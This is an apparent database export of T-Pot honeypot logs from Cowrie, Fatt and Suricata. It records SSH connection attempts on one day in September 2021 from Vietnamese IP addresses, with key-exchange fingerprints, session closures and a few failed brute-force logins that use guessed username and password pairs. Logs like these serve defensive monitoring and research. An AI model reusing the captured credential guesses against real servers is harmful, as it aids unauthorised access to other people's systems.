24671	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:14.747706+03	2021-09-20 14:15:09.0985+03	{"_id": "aQblAnwBvYTbRNuEUBb3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47704, "dest_port": 22, "timestamp": "2021-09-20T11:09:14.747706", "@timestamp": "2021-09-20T11:09:14.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24672	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.472452+03	2021-09-20 14:15:09.1005+03	{"_id": "agblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47704 (192.168.176.2:22) [session: 2af9e6b1581d]", "session": "2af9e6b1581d", "@version": "1", "protocol": "ssh", "src_port": 47704, "dest_port": 22, "timestamp": "2021-09-20T11:09:14.472452Z", "@timestamp": "2021-09-20T11:09:14.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24675	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:14.699274+03	2021-09-20 14:15:09.103502+03	{"_id": "eQblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/root123456] failed", "session": "83d11ba35f2b", "@version": "1", "password": "root123456", "username": "root", "timestamp": "2021-09-20T11:09:14.699274Z", "@timestamp": "2021-09-20T11:09:14.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24676	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.748473+03	2021-09-20 14:15:09.105471+03	{"_id": "egblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2af9e6b1581d", "@version": "1", "timestamp": "2021-09-20T11:09:14.748473Z", "@timestamp": "2021-09-20T11:09:14.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24677	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.785745+03	2021-09-20 14:15:09.106501+03	{"_id": "ewblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "af178384dc34", "@version": "1", "duration": 3.723076581954956, "timestamp": "2021-09-20T11:09:14.785745Z", "@timestamp": "2021-09-20T11:09:14.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24678	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.793661+03	2021-09-20 14:15:09.107501+03	{"_id": "fAblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [press/press] failed", "session": "dbaf0b7d01e5", "@version": "1", "password": "press", "username": "press", "timestamp": "2021-09-20T11:09:14.793661Z", "@timestamp": "2021-09-20T11:09:14.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24679	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:14.839664+03	2021-09-20 14:15:09.1085+03	{"_id": "fQblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "84220765f87d", "@version": "1", "duration": 2.730823278427124, "timestamp": "2021-09-20T11:09:14.839664Z", "@timestamp": "2021-09-20T11:09:14.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24680	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:15.344814+03	2021-09-20 14:15:09.1105+03	{"_id": "fgblAnwBvYTbRNuEURal", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4afed5ee7d32", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:15.344814Z", "@timestamp": "2021-09-20T11:09:15.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24681	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:15.346908+03	2021-09-20 14:15:09.11147+03	{"_id": "fwblAnwBvYTbRNuEVBbd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37114, "timestamp": "2021-09-20T11:09:15.346908", "@timestamp": "2021-09-20T11:09:15.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24682	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:16.00305+03	2021-09-20 14:15:09.113499+03	{"_id": "ggblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "83d11ba35f2b", "@version": "1", "duration": 3.178178548812866, "timestamp": "2021-09-20T11:09:16.003050Z", "@timestamp": "2021-09-20T11:09:16.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24683	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:16.034854+03	2021-09-20 14:15:09.11447+03	{"_id": "gwblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "dbaf0b7d01e5", "@version": "1", "duration": 2.5186049938201904, "timestamp": "2021-09-20T11:09:16.034854Z", "@timestamp": "2021-09-20T11:09:16.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24684	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:15.488726+03	2021-09-20 14:15:09.1155+03	{"_id": "hwblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "70f43a74fcd6", "@version": "1", "duration": 3.080167531967163, "timestamp": "2021-09-20T11:09:15.488726Z", "@timestamp": "2021-09-20T11:09:15.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24685	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:16.136711+03	2021-09-20 14:15:09.1165+03	{"_id": "jAblAnwBvYTbRNuEVRZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "80c27c939d8e", "@version": "1", "timestamp": "2021-09-20T11:09:16.136711Z", "@timestamp": "2021-09-20T11:09:16.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24686	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:16.404547+03	2021-09-20 14:15:09.1175+03	{"_id": "kAblAnwBvYTbRNuEVxbE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1879619084742608, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 37114, "dest_port": 22, "timestamp": "2021-09-20T11:09:16.404547Z", "@timestamp": "2021-09-20T11:09:16.404Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
